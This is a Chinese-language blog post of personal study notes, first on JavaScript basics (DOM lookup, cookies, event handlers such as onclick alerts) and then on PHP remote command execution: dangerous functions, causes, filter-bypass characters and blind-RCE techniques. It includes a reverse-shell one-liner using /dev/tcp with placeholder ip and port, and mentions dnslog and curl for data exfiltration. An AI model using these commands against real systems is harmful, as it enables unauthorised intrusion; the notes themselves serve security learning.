JS与RCE学习笔记

396 阅读1分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第5天,点击查看活动详情

JS

js基础

  • JS可与html 混编,插入到html中任意位置
  • JS属于前端安全
  • 顺序执行,刷新页面后会重新执行
  • 本地直接访问JS脚本时返回文本内容

简单语句

输出语句

alert(); // 弹窗

console.log(); // 在控制台执行

外部JS

src="路径"

引用

变量

命名规则

大小写英文、数字、$和_的组合,不能数字开头,不能使用关键字

声明

var

数组

对象

//person.name 结果为:'Bob'

JS函数

函数定义

function

 

结果:

对象

通过对象操作浏览器

浏览器内置对象

window

navigator

location 当前页面的URL信息

document 非常重要 当前页面

查找DOM节点

document.getElementById( )返回id为XXX的节点

//var test = document.getElementById( ‘test’)

document.getElementsByTagName()

//var trs =document.getElementById( 'test-table').document.getElementsByTagName('tr')

查找test-table下的tr节点

document.getElementsByclassName() css的类选择器

var cs = test.children

获取test节点下所有直属子节点

document.cook 可以完成cookie信息的读写

JS事件

<input type="button" onmousemove="alert('boom')" value="b1">
<input type="button" onclick="alert('yes')">

onclick:鼠标单击时运行脚本

onmousemove:鼠标指针移动时运行脚本

HTML事件:www.runoob.com/tags/ref-ev…

RCE

命令函数

system()         //函数执行有回显,返回执行结果
passthru()       //函数执行有回显,返回执行结果
exec()           //函数执行无回显,默认返回最后一行结果,通过echo可将执行结果输出到页面
shell_exec()     //函数执行无回显,通过echo可将执行结果输出到页面
``               //shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
popen()
proc_open()
pcntl_exec()

原理

以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。

rce应用

1、执行系统命令

2、记录用户输入

3、控制键盘鼠标

4、任意上传下载

5、魔性洗脑

6、截屏

什么会导致rce

1、服务器上有木马

2、脆弱服务未授权

3、通过数据库写木马

4、文件上传/文件包含

5、危害函数

6、命令执行

7、反序列化

危险函数

eval、assert、system、shell_exec、exec、file_put_contents

命令执行

反序列化

serialize()

返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

unserialize()

对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

rce限制绕过

blog.csdn.net/qq_41523170…

黑名单绕过

; && || | ` ()() [] <> $IFS

| 管道符

| 表示管道,上一条命令的输出,作为下一条命令参数(输入)

rce无回显

反弹shell

bash -i > /dev/tcp/ip/port 0>&1

dnslog

dnslog.cn

写文件

curl等网络命令

rce后发现不出网

写文件

命令盲注

隐蔽信道